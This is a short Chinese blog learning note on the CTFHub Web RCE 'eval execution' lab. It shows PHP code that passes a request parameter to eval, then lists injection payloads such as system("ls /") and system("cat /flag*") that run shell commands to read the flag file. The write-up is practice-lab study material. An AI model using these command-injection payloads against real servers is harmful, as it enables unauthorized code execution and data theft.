CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
cmcm!21 小时前
学习笔记1
数据库·笔记·学习
Hcoco_me21 小时前
YOLO目标检测学习路线图
学习·yolo·目标检测
WXG10111 天前
【Flask】前后端交互示例
笔记·学习
d111111111d1 天前
STM32--SPI通讯外设-学习笔记
笔记·stm32·单片机·嵌入式硬件·学习
d111111111d1 天前
在STM32中有参宏定义define该怎么使用
笔记·stm32·单片机·嵌入式硬件·学习
麦麦在写代码1 天前
前端学习4
前端·学习
ITC小浪花、1 天前
WGL波形生成语言—新手入门学习(例子篇1)
学习·wgl
不羁的木木1 天前
【开源鸿蒙跨平台开发学习笔记】Day03:React Native 开发 HarmonyOS-GitCode口袋工具开发-1
笔记·学习·harmonyos
im_AMBER1 天前
AI井字棋项目开发笔记
前端·笔记·学习·算法
zxguan1 天前
Springboot 学习 之 下载接口 HttpMessageNotWritableException
spring boot·后端·学习